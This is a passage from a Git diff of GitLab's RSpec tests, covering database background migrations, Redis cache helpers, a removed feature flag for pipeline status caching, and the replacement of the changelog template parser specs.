+ second_job = background_migration_jobs.create!(
+ class_name: 'DeleteOrphanedDeployments',
+ arguments: [table(:deployments).maximum(:id), table(:deployments).maximum(:id)]
+ )
+
+ subject.perform(table(:deployments).minimum(:id), table(:deployments).minimum(:id))
+
+ expect(first_job.reload.status).to eq(Gitlab::Database::BackgroundMigrationJob.statuses[:succeeded])
+ expect(second_job.reload.status).to eq(Gitlab::Database::BackgroundMigrationJob.statuses[:pending])
+ end
+
+ private
+
+ def valid_deployments
+ table(:deployments).where('EXISTS (SELECT 1 FROM environments WHERE deployments.environment_id = environments.id)')
+ end
+
+ def orphaned_deployments
+ table(:deployments).where('NOT EXISTS (SELECT 1 FROM environments WHERE deployments.environment_id = environments.id)')
+ end
+
+ def create_deployment!(environment_id, project_id)
+ table(:deployments).create!(
+ environment_id: environment_id,
+ project_id: project_id,
+ ref: 'master',
+ tag: false,
+ sha: 'x',
+ status: 1,
+ iid: table(:deployments).count + 1)
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb b/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
index 80879c8c6d9..f2cd2acd4f3 100644
--- a/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb
@@ -283,11 +283,11 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
end
context 'with Jira service with invalid properties, valid Jira service and valid bugzilla service' do
- let!(:jira_service_invalid) do
+ let!(:jira_integration_invalid) do
services.create!(id: 19, title: 'invalid - title', description: 'invalid - description', type: 'JiraService', properties: 'invalid data', category: 'issue_tracker')
end
- let!(:jira_service_valid) do
+ let!(:jira_integration_valid) do
services.create!(id: 20, type: 'JiraService', properties: jira_properties.to_json, category: 'issue_tracker')
end
@@ -298,21 +298,21 @@ RSpec.describe Gitlab::BackgroundMigration::MigrateIssueTrackersSensitiveData, s
it 'migrates data for the valid service' do
subject
- jira_service_invalid.reload
- expect(JiraTrackerData.find_by(service_id: jira_service_invalid.id)).to be_nil
- expect(jira_service_invalid.title).to eq('invalid - title')
- expect(jira_service_invalid.description).to eq('invalid - description')
- expect(jira_service_invalid.properties).to eq('invalid data')
+ jira_integration_invalid.reload
+ expect(JiraTrackerData.find_by(service_id: jira_integration_invalid.id)).to be_nil
+ expect(jira_integration_invalid.title).to eq('invalid - title')
+ expect(jira_integration_invalid.description).to eq('invalid - description')
+ expect(jira_integration_invalid.properties).to eq('invalid data')
- jira_service_valid.reload
- data = JiraTrackerData.find_by(service_id: jira_service_valid.id)
+ jira_integration_valid.reload
+ data = JiraTrackerData.find_by(service_id: jira_integration_valid.id)
expect(data.url).to eq(url)
expect(data.api_url).to eq(api_url)
expect(data.username).to eq(username)
expect(data.password).to eq(password)
- expect(jira_service_valid.title).to eq(title)
- expect(jira_service_valid.description).to eq(description)
+ expect(jira_integration_valid.title).to eq(title)
+ expect(jira_integration_valid.description).to eq(description)
bugzilla_integration_valid.reload
data = IssueTrackerData.find_by(service_id: bugzilla_integration_valid.id)
diff --git a/spec/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users_spec.rb b/spec/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users_spec.rb
new file mode 100644
index 00000000000..496ce151032
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/migrate_merge_request_diff_commit_users_spec.rb
@@ -0,0 +1,400 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::MigrateMergeRequestDiffCommitUsers do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:users) { table(:users) }
+ let(:merge_requests) { table(:merge_requests) }
+ let(:diffs) { table(:merge_request_diffs) }
+ let(:commits) do
+ table(:merge_request_diff_commits).tap do |t|
+ t.extend(SuppressCompositePrimaryKeyWarning)
+ end
+ end
+
+ let(:commit_users) { described_class::MergeRequestDiffCommitUser }
+
+ let(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+ let(:merge_request) do
+ merge_requests.create!(
+ source_branch: 'x',
+ target_branch: 'master',
+ target_project_id: project.id
+ )
+ end
+
+ let(:diff) { diffs.create!(merge_request_id: merge_request.id) }
+ let(:migration) { described_class.new }
+
+ describe 'MergeRequestDiffCommit' do
+ describe '.each_row_to_migrate' do
+ it 'yields the rows to migrate for a given range' do
+ commit1 = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc'),
+ author_name: 'bob',
+ author_email: 'bob@example.com',
+ committer_name: 'bob',
+ committer_email: 'bob@example.com'
+ )
+
+ commit2 = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 1,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc'),
+ author_name: 'Alice',
+ author_email: 'alice@example.com',
+ committer_name: 'Alice',
+ committer_email: 'alice@example.com'
+ )
+
+ # We stub this constant to make sure we run at least two pagination
+ # queries for getting the data. This way we can test if the pagination
+ # is actually working properly.
+ stub_const(
+ 'Gitlab::BackgroundMigration::MigrateMergeRequestDiffCommitUsers::COMMIT_ROWS_PER_QUERY',
+ 1
+ )
+
+ rows = []
+
+ described_class::MergeRequestDiffCommit.each_row_to_migrate(diff.id, diff.id + 1) do |row|
+ rows << row
+ end
+
+ expect(rows.length).to eq(2)
+
+ expect(rows[0].author_name).to eq(commit1.author_name)
+ expect(rows[1].author_name).to eq(commit2.author_name)
+ end
+ end
+ end
+
+ describe 'MergeRequestDiffCommitUser' do
+ describe '.union' do
+ it 'produces a union of the given queries' do
+ alice = commit_users.create!(name: 'Alice', email: 'alice@example.com')
+ bob = commit_users.create!(name: 'Bob', email: 'bob@example.com')
+ users = commit_users.union([
+ commit_users.where(name: 'Alice').to_sql,
+ commit_users.where(name: 'Bob').to_sql
+ ])
+
+ expect(users).to include(alice)
+ expect(users).to include(bob)
+ end
+ end
+ end
+
+ describe '#perform' do
+ it 'migrates the data in the range' do
+ commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc'),
+ author_name: 'bob',
+ author_email: 'bob@example.com',
+ committer_name: 'bob',
+ committer_email: 'bob@example.com'
+ )
+
+ migration.perform(diff.id, diff.id + 1)
+
+ bob = commit_users.find_by(name: 'bob')
+ commit = commits.first
+
+ expect(commit.commit_author_id).to eq(bob.id)
+ expect(commit.committer_id).to eq(bob.id)
+ end
+
+ it 'treats empty names and Emails the same as NULL values' do
+ commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc'),
+ author_name: 'bob',
+ author_email: 'bob@example.com',
+ committer_name: '',
+ committer_email: ''
+ )
+
+ migration.perform(diff.id, diff.id + 1)
+
+ bob = commit_users.find_by(name: 'bob')
+ commit = commits.first
+
+ expect(commit.commit_author_id).to eq(bob.id)
+ expect(commit.committer_id).to be_nil
+ end
+
+ it 'does not update rows without a committer and author' do
+ commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc')
+ )
+
+ migration.perform(diff.id, diff.id + 1)
+
+ commit = commits.first
+
+ expect(commit_users.count).to eq(0)
+ expect(commit.commit_author_id).to be_nil
+ expect(commit.committer_id).to be_nil
+ end
+
+ it 'marks the background job as done' do
+ Gitlab::Database::BackgroundMigrationJob.create!(
+ class_name: 'MigrateMergeRequestDiffCommitUsers',
+ arguments: [diff.id, diff.id + 1]
+ )
+
+ migration.perform(diff.id, diff.id + 1)
+
+ job = Gitlab::Database::BackgroundMigrationJob.first
+
+ expect(job.status).to eq('succeeded')
+ end
+ end
+
+ describe '#get_data_to_update' do
+ it 'returns the users and commit rows to update' do
+ commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc'),
+ author_name: 'bob' + ('a' * 510),
+ author_email: 'bob@example.com',
+ committer_name: 'bob' + ('a' * 510),
+ committer_email: 'bob@example.com'
+ )
+
+ commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 1,
+ sha: Gitlab::Database::ShaAttribute.serialize('456abc'),
+ author_name: 'alice',
+ author_email: 'alice@example.com',
+ committer_name: 'alice',
+ committer_email: 'alice@example.com'
+ )
+
+ users, to_update = migration.get_data_to_update(diff.id, diff.id + 1)
+
+ bob_name = 'bob' + ('a' * 509)
+
+ expect(users).to include(%w[alice alice@example.com])
+ expect(users).to include([bob_name, 'bob@example.com'])
+
+ expect(to_update[[diff.id, 0]])
+ .to eq([[bob_name, 'bob@example.com'], [bob_name, 'bob@example.com']])
+
+ expect(to_update[[diff.id, 1]])
+ .to eq([%w[alice alice@example.com], %w[alice alice@example.com]])
+ end
+
+ it 'does not include a user if both the name and Email are missing' do
+ commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc'),
+ author_name: nil,
+ author_email: nil,
+ committer_name: 'bob',
+ committer_email: 'bob@example.com'
+ )
+
+ users, _ = migration.get_data_to_update(diff.id, diff.id + 1)
+
+ expect(users).to eq([%w[bob bob@example.com]].to_set)
+ end
+ end
+
+ describe '#get_user_rows_in_batches' do
+ it 'retrieves all existing users' do
+ alice = commit_users.create!(name: 'alice', email: 'alice@example.com')
+ bob = commit_users.create!(name: 'bob', email: 'bob@example.com')
+
+ users = [[alice.name, alice.email], [bob.name, bob.email]]
+ mapping = {}
+
+ migration.get_user_rows_in_batches(users, mapping)
+
+ expect(mapping[%w[alice alice@example.com]]).to eq(alice)
+ expect(mapping[%w[bob bob@example.com]]).to eq(bob)
+ end
+ end
+
+ describe '#create_missing_users' do
+ it 'creates merge request diff commit users that are missing' do
+ alice = commit_users.create!(name: 'alice', email: 'alice@example.com')
+ users = [%w[alice alice@example.com], %w[bob bob@example.com]]
+ mapping = { %w[alice alice@example.com] => alice }
+
+ migration.create_missing_users(users, mapping)
+
+ expect(mapping[%w[alice alice@example.com]]).to eq(alice)
+ expect(mapping[%w[bob bob@example.com]].name).to eq('bob')
+ expect(mapping[%w[bob bob@example.com]].email).to eq('bob@example.com')
+ end
+ end
+
+ describe '#update_commit_rows' do
+ it 'updates the merge request diff commit rows' do
+ to_update = { [42, 0] => [%w[alice alice@example.com], []] }
+ user_mapping = { %w[alice alice@example.com] => double(:user, id: 1) }
+
+ expect(migration)
+ .to receive(:bulk_update_commit_rows)
+ .with({ [42, 0] => [1, nil] })
+
+ migration.update_commit_rows(to_update, user_mapping)
+ end
+ end
+
+ describe '#bulk_update_commit_rows' do
+ context 'when there are no authors and committers' do
+ it 'does not update any rows' do
+ migration.bulk_update_commit_rows({ [1, 0] => [] })
+
+ expect(described_class::MergeRequestDiffCommit.connection)
+ .not_to receive(:execute)
+ end
+ end
+
+ context 'when there are only authors' do
+ it 'only updates the author IDs' do
+ author = commit_users.create!(name: 'Alice', email: 'alice@example.com')
+ commit = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc')
+ )
+
+ mapping = {
+ [commit.merge_request_diff_id, commit.relative_order] =>
+ [author.id, nil]
+ }
+
+ migration.bulk_update_commit_rows(mapping)
+
+ commit = commits.first
+
+ expect(commit.commit_author_id).to eq(author.id)
+ expect(commit.committer_id).to be_nil
+ end
+ end
+
+ context 'when there are only committers' do
+ it 'only updates the committer IDs' do
+ committer =
+ commit_users.create!(name: 'Alice', email: 'alice@example.com')
+
+ commit = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc')
+ )
+
+ mapping = {
+ [commit.merge_request_diff_id, commit.relative_order] =>
+ [nil, committer.id]
+ }
+
+ migration.bulk_update_commit_rows(mapping)
+
+ commit = commits.first
+
+ expect(commit.committer_id).to eq(committer.id)
+ expect(commit.commit_author_id).to be_nil
+ end
+ end
+
+ context 'when there are both authors and committers' do
+ it 'updates both the author and committer IDs' do
+ author = commit_users.create!(name: 'Bob', email: 'bob@example.com')
+ committer =
+ commit_users.create!(name: 'Alice', email: 'alice@example.com')
+
+ commit = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc')
+ )
+
+ mapping = {
+ [commit.merge_request_diff_id, commit.relative_order] =>
+ [author.id, committer.id]
+ }
+
+ migration.bulk_update_commit_rows(mapping)
+
+ commit = commits.first
+
+ expect(commit.commit_author_id).to eq(author.id)
+ expect(commit.committer_id).to eq(committer.id)
+ end
+ end
+
+ context 'when there are multiple commit rows to update' do
+ it 'updates all the rows' do
+ author = commit_users.create!(name: 'Bob', email: 'bob@example.com')
+ committer =
+ commit_users.create!(name: 'Alice', email: 'alice@example.com')
+
+ commit1 = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 0,
+ sha: Gitlab::Database::ShaAttribute.serialize('123abc')
+ )
+
+ commit2 = commits.create!(
+ merge_request_diff_id: diff.id,
+ relative_order: 1,
+ sha: Gitlab::Database::ShaAttribute.serialize('456abc')
+ )
+
+ mapping = {
+ [commit1.merge_request_diff_id, commit1.relative_order] =>
+ [author.id, committer.id],
+
+ [commit2.merge_request_diff_id, commit2.relative_order] =>
+ [author.id, nil]
+ }
+
+ migration.bulk_update_commit_rows(mapping)
+
+ commit1 = commits.find_by(relative_order: 0)
+ commit2 = commits.find_by(relative_order: 1)
+
+ expect(commit1.commit_author_id).to eq(author.id)
+ expect(commit1.committer_id).to eq(committer.id)
+
+ expect(commit2.commit_author_id).to eq(author.id)
+ expect(commit2.committer_id).to be_nil
+ end
+ end
+ end
+
+ describe '#primary_key' do
+ it 'returns the primary key for the commits table' do
+ key = migration.primary_key
+
+ expect(key.to_sql).to eq('("merge_request_diff_commits"."merge_request_diff_id", "merge_request_diff_commits"."relative_order")')
+ end
+ end
+
+ describe '#prepare' do
+ it 'trims a value to at most 512 characters' do
+ expect(migration.prepare('€' * 1_000)).to eq('€' * 512)
+ end
+
+ it 'returns nil if the value is an empty string' do
+ expect(migration.prepare('')).to be_nil
+ end
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb b/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb
index 33498ffa748..9eda51f6ec4 100644
--- a/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb
@@ -2,6 +2,8 @@
require 'spec_helper'
+require 'webauthn/u2f_migrator'
+
RSpec.describe Gitlab::BackgroundMigration::MigrateU2fWebauthn, :migration, schema: 20200925125321 do
let(:users) { table(:users) }
diff --git a/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb b/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb
index f7466a2ddfd..b96d3f7f0b5 100644
--- a/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb
+++ b/spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::UpdateJiraTrackerDataDeploymentTypeBasedOnUrl do
+RSpec.describe Gitlab::BackgroundMigration::UpdateJiraTrackerDataDeploymentTypeBasedOnUrl, schema: 20210421163509 do
let(:services_table) { table(:services) }
let(:service_jira_cloud) { services_table.create!(id: 1, type: 'JiraService') }
let(:service_jira_server) { services_table.create!(id: 2, type: 'JiraService') }
diff --git a/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb b/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
index 8d625cab1d8..c0e4d1b5355 100644
--- a/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
+++ b/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Cache::Ci::ProjectPipelineStatus, :clean_gitlab_redis_cache do
let_it_be(:project) { create(:project, :repository) }
+
let(:pipeline_status) { described_class.new(project) }
let(:cache_key) { pipeline_status.cache_key }
@@ -83,24 +84,8 @@ RSpec.describe Gitlab::Cache::Ci::ProjectPipelineStatus, :clean_gitlab_redis_cac
expect(pipeline_status).not_to be_has_cache
end
- context 'ci_pipeline_status_omit_commit_sha_in_cache_key is enabled' do
- before do
- stub_feature_flags(ci_pipeline_status_omit_commit_sha_in_cache_key: project)
- end
-
- it 'makes a Gitaly call' do
- expect { pipeline_status.load_status }.to change { Gitlab::GitalyClient.get_request_count }.by(1)
- end
- end
-
- context 'ci_pipeline_status_omit_commit_sha_in_cache_key is disabled' do
- before do
- stub_feature_flags(ci_pipeline_status_omit_commit_sha_in_cache_key: false)
- end
-
- it 'makes a Gitaly calls' do
- expect { pipeline_status.load_status }.to change { Gitlab::GitalyClient.get_request_count }.by(1)
- end
+ it 'makes a Gitaly call' do
+ expect { pipeline_status.load_status }.to change { Gitlab::GitalyClient.get_request_count }.by(1)
end
end
@@ -111,24 +96,8 @@ RSpec.describe Gitlab::Cache::Ci::ProjectPipelineStatus, :clean_gitlab_redis_cac
expect(pipeline_status).to be_has_cache
end
- context 'ci_pipeline_status_omit_commit_sha_in_cache_key is enabled' do
- before do
- stub_feature_flags(ci_pipeline_status_omit_commit_sha_in_cache_key: project)
- end
-
- it 'makes no Gitaly calls' do
- expect { pipeline_status.load_status }.to change { Gitlab::GitalyClient.get_request_count }.by(0)
- end
- end
-
- context 'ci_pipeline_status_omit_commit_sha_in_cache_key is disabled' do
- before do
- stub_feature_flags(ci_pipeline_status_omit_commit_sha_in_cache_key: false)
- end
-
- it 'makes a Gitaly calls' do
- expect { pipeline_status.load_status }.to change { Gitlab::GitalyClient.get_request_count }.by(1)
- end
+ it 'makes no Gitaly calls' do
+ expect { pipeline_status.load_status }.to change { Gitlab::GitalyClient.get_request_count }.by(0)
end
end
end
diff --git a/spec/lib/gitlab/cache/helpers_spec.rb b/spec/lib/gitlab/cache/helpers_spec.rb
new file mode 100644
index 00000000000..08e0d7729bd
--- /dev/null
+++ b/spec/lib/gitlab/cache/helpers_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Cache::Helpers, :use_clean_rails_redis_caching do
+ subject(:instance) { Class.new.include(described_class).new }
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ let(:presenter) { MergeRequestSerializer.new(current_user: user, project: project) }
+
+ before do
+ # We have to stub #render as it's a Rails controller method unavailable in
+ # the module by itself
+ allow(instance).to receive(:render) { |data| data }
+ allow(instance).to receive(:current_user) { user }
+ end
+
+ describe "#render_cached" do
+ subject do
+ instance.render_cached(presentable, **kwargs)
+ end
+
+ let(:kwargs) do
+ {
+ with: presenter,
+ project: project
+ }
+ end
+
+ context 'single object' do
+ let_it_be(:presentable) { create(:merge_request, source_project: project, source_branch: 'wip') }
+
+ it_behaves_like 'object cache helper'
+ end
+
+ context 'collection of objects' do
+ let_it_be(:presentable) do
+ [
+ create(:merge_request, source_project: project, source_branch: 'fix'),
+ create(:merge_request, source_project: project, source_branch: 'master')
+ ]
+ end
+
+ it_behaves_like 'collection cache helper'
+ end
+ end
+end
diff --git a/spec/lib/gitlab/cache/import/caching_spec.rb b/spec/lib/gitlab/cache/import/caching_spec.rb
index 8ce12f5d32e..f770960e27a 100644
--- a/spec/lib/gitlab/cache/import/caching_spec.rb
+++ b/spec/lib/gitlab/cache/import/caching_spec.rb
@@ -100,6 +100,30 @@ RSpec.describe Gitlab::Cache::Import::Caching, :clean_gitlab_redis_cache do
end
end
+ describe '.hash_add' do
+ it 'adds a value to a hash' do
+ described_class.hash_add('foo', 1, 1)
+ described_class.hash_add('foo', 2, 2)
+
+ key = described_class.cache_key_for('foo')
+ values = Gitlab::Redis::Cache.with { |r| r.hgetall(key) }
+
+ expect(values).to eq({ '1' => '1', '2' => '2' })
+ end
+ end
+
+ describe '.values_from_hash' do
+ it 'returns empty hash when the hash is empty' do
+ expect(described_class.values_from_hash('foo')).to eq({})
+ end
+
+ it 'returns the set list of values' do
+ described_class.hash_add('foo', 1, 1)
+
+ expect(described_class.values_from_hash('foo')).to eq({ '1' => '1' })
+ end
+ end
+
describe '.write_multiple' do
it 'sets multiple keys when key_prefix not set' do
mapping = { 'foo' => 10, 'bar' => 20 }
diff --git a/spec/lib/gitlab/changelog/ast_spec.rb b/spec/lib/gitlab/changelog/ast_spec.rb
deleted file mode 100644
index fa15ac979fe..00000000000
--- a/spec/lib/gitlab/changelog/ast_spec.rb
+++ /dev/null
@@ -1,246 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Changelog::AST::Identifier do
- let(:state) { Gitlab::Changelog::EvalState.new }
-
- describe '#evaluate' do
- it 'evaluates a selector' do
- data = { 'number' => 10 }
-
- expect(described_class.new('number').evaluate(state, data)).to eq(10)
- end
-
- it 'returns nil if the key is not set' do
- expect(described_class.new('number').evaluate(state, {})).to be_nil
- end
-
- it 'returns nil if the input is not a Hash' do
- expect(described_class.new('number').evaluate(state, 45)).to be_nil
- end
-
- it 'returns the current data when using the special identifier "it"' do
- expect(described_class.new('it').evaluate(state, 45)).to eq(45)
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::Integer do
- let(:state) { Gitlab::Changelog::EvalState.new }
-
- describe '#evaluate' do
- it 'evaluates a selector' do
- expect(described_class.new(0).evaluate(state, [10])).to eq(10)
- end
-
- it 'returns nil if the index is not set' do
- expect(described_class.new(1).evaluate(state, [10])).to be_nil
- end
-
- it 'returns nil if the input is not an Array' do
- expect(described_class.new(0).evaluate(state, {})).to be_nil
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::Selector do
- let(:state) { Gitlab::Changelog::EvalState.new }
- let(:data) { { 'numbers' => [10] } }
-
- describe '#evaluate' do
- it 'evaluates a selector' do
- ident = Gitlab::Changelog::AST::Identifier.new('numbers')
- int = Gitlab::Changelog::AST::Integer.new(0)
-
- expect(described_class.new([ident, int]).evaluate(state, data)).to eq(10)
- end
-
- it 'evaluates a selector that returns nil' do
- int = Gitlab::Changelog::AST::Integer.new(0)
-
- expect(described_class.new([int]).evaluate(state, data)).to be_nil
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::Variable do
- let(:state) { Gitlab::Changelog::EvalState.new }
- let(:data) { { 'numbers' => [10] } }
-
- describe '#evaluate' do
- it 'evaluates a variable' do
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{{numbers.0}}')
- .nodes[0]
-
- expect(node.evaluate(state, data)).to eq('10')
- end
-
- it 'evaluates an undefined variable' do
- node =
- Gitlab::Changelog::Parser.new.parse_and_transform('{{foobar}}').nodes[0]
-
- expect(node.evaluate(state, data)).to eq('')
- end
-
- it 'evaluates the special variable "it"' do
- node =
- Gitlab::Changelog::Parser.new.parse_and_transform('{{it}}').nodes[0]
-
- expect(node.evaluate(state, data)).to eq(data.to_s)
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::Expressions do
- let(:state) { Gitlab::Changelog::EvalState.new }
-
- describe '#evaluate' do
- it 'evaluates all expressions' do
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{{number}}foo')
-
- expect(node.evaluate(state, { 'number' => 10 })).to eq('10foo')
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::Text do
- let(:state) { Gitlab::Changelog::EvalState.new }
-
- describe '#evaluate' do
- it 'returns the text' do
- expect(described_class.new('foo').evaluate(state, {})).to eq('foo')
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::If do
- let(:state) { Gitlab::Changelog::EvalState.new }
-
- describe '#evaluate' do
- it 'evaluates a truthy if expression without an else clause' do
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{% if thing %}foo{% end %}')
- .nodes[0]
-
- expect(node.evaluate(state, { 'thing' => true })).to eq('foo')
- end
-
- it 'evaluates a falsy if expression without an else clause' do
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{% if thing %}foo{% end %}')
- .nodes[0]
-
- expect(node.evaluate(state, { 'thing' => false })).to eq('')
- end
-
- it 'evaluates a falsy if expression with an else clause' do
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{% if thing %}foo{% else %}bar{% end %}')
- .nodes[0]
-
- expect(node.evaluate(state, { 'thing' => false })).to eq('bar')
- end
- end
-
- describe '#truthy?' do
- it 'returns true for a non-empty String' do
- expect(described_class.new.truthy?('foo')).to eq(true)
- end
-
- it 'returns true for a non-empty Array' do
- expect(described_class.new.truthy?([10])).to eq(true)
- end
-
- it 'returns true for a Boolean true' do
- expect(described_class.new.truthy?(true)).to eq(true)
- end
-
- it 'returns false for an empty String' do
- expect(described_class.new.truthy?('')).to eq(false)
- end
-
- it 'returns true for an empty Array' do
- expect(described_class.new.truthy?([])).to eq(false)
- end
-
- it 'returns false for a Boolean false' do
- expect(described_class.new.truthy?(false)).to eq(false)
- end
- end
-end
-
-RSpec.describe Gitlab::Changelog::AST::Each do
- let(:state) { Gitlab::Changelog::EvalState.new }
-
- describe '#evaluate' do
- it 'evaluates the expression' do
- data = { 'animals' => [{ 'name' => 'Cat' }, { 'name' => 'Dog' }] }
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{% each animals %}{{name}}{% end %}')
- .nodes[0]
-
- expect(node.evaluate(state, data)).to eq('CatDog')
- end
-
- it 'returns an empty string when the input is not a collection' do
- data = { 'animals' => 10 }
- node = Gitlab::Changelog::Parser
- .new
- .parse_and_transform('{% each animals %}{{name}}{% end %}')
- .nodes[0]
-
- expect(node.evaluate(state, data)).to eq('')
- end
-
- it 'disallows too many nested loops' do
- data = {
- 'foo' => [
- {
- 'bar' => [
- {
- 'baz' => [
- {
- 'quix' => [
- {
- 'foo' => [{ 'name' => 'Alice' }]
- }
- ]
- }
- ]
- }
- ]
- }
- ]
- }
-
- template = <<~TPL
- {% each foo %}
- {% each bar %}
- {% each baz %}
- {% each quix %}
- {% each foo %}
- {{name}}
- {% end %}
- {% end %}
- {% end %}
- {% end %}
- {% end %}
- TPL
-
- node =
- Gitlab::Changelog::Parser.new.parse_and_transform(template).nodes[0]
-
- expect { node.evaluate(state, data) }
- .to raise_error(Gitlab::Changelog::Error)
- end
- end
-end
diff --git a/spec/lib/gitlab/changelog/config_spec.rb b/spec/lib/gitlab/changelog/config_spec.rb
index 2809843b832..a464c1e57e5 100644
--- a/spec/lib/gitlab/changelog/config_spec.rb
+++ b/spec/lib/gitlab/changelog/config_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Gitlab::Changelog::Config do
expect(config.date_format).to eq('foo')
expect(config.template)
- .to be_instance_of(Gitlab::Changelog::AST::Expressions)
+ .to be_instance_of(Gitlab::TemplateParser::AST::Expressions)
expect(config.categories).to eq({ 'foo' => 'bar' })
expect(config.tag_regex).to eq('foo')
@@ -53,6 +53,16 @@ RSpec.describe Gitlab::Changelog::Config do
expect { described_class.from_hash(project, 'categories' => 10) }
.to raise_error(Gitlab::Changelog::Error)
end
+
+ it 'raises a Gitlab::Changelog::Error when the template is invalid' do
+ invalid_template = <<~TPL
+ {% each {{foo}} %}
+ {% end %}
+ TPL
+
+ expect { described_class.from_hash(project, 'template' => invalid_template) }
+ .to raise_error(Gitlab::Changelog::Error)
+ end
end
describe '#contributor?' do
diff --git a/spec/lib/gitlab/changelog/parser_spec.rb b/spec/lib/gitlab/changelog/parser_spec.rb
deleted file mode 100644
index 1d353f5eb35..00000000000
--- a/spec/lib/gitlab/changelog/parser_spec.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Changelog::Parser do
- let(:parser) { described_class.new }
-
- describe '#root' do
- it 'parses an empty template' do
- expect(parser.root).to parse('')
- end
-
- it 'parses a variable with a single identifier step' do
- expect(parser.root).to parse('{{foo}}')
- end
-
- it 'parses a variable with a single integer step' do
- expect(parser.root).to parse('{{0}}')
- end
-
- it 'parses a variable with multiple selector steps' do
- expect(parser.root).to parse('{{foo.bar}}')
- end
-
- it 'parses a variable with an integer selector step' do
- expect(parser.root).to parse('{{foo.bar.0}}')
- end
-
- it 'parses the special "it" variable' do
- expect(parser.root).to parse('{{it}}')
- end
-
- it 'parses a text node' do
- expect(parser.root).to parse('foo')
- end
-
- it 'parses an if expression' do
- expect(parser.root).to parse('{% if foo %}bar{% end %}')
- end
-
- it 'parses an if-else expression' do
- expect(parser.root).to parse('{% if foo %}bar{% else %}baz{% end %}')
- end
-
- it 'parses an each expression' do
- expect(parser.root).to parse('{% each foo %}foo{% end %}')
- end
-
- it 'parses an escaped newline' do
- expect(parser.root).to parse("foo\\\nbar")
- end
-
- it 'parses a regular newline' do
- expect(parser.root).to parse("foo\nbar")
- end
-
- it 'parses the default changelog template' do
- expect(parser.root).to parse(Gitlab::Changelog::Config::DEFAULT_TEMPLATE)
- end
-
- it 'raises an error when parsing an integer selector that is too large' do
- expect(parser.root).not_to parse('{{100000000000}}')
- end
- end
-
- describe '#parse_and_transform' do
- it 'parses and transforms a template' do
- node = parser.parse_and_transform('foo')
-
- expect(node).to be_instance_of(Gitlab::Changelog::AST::Expressions)
- end
-
- it 'raises parsing errors using a custom error class' do
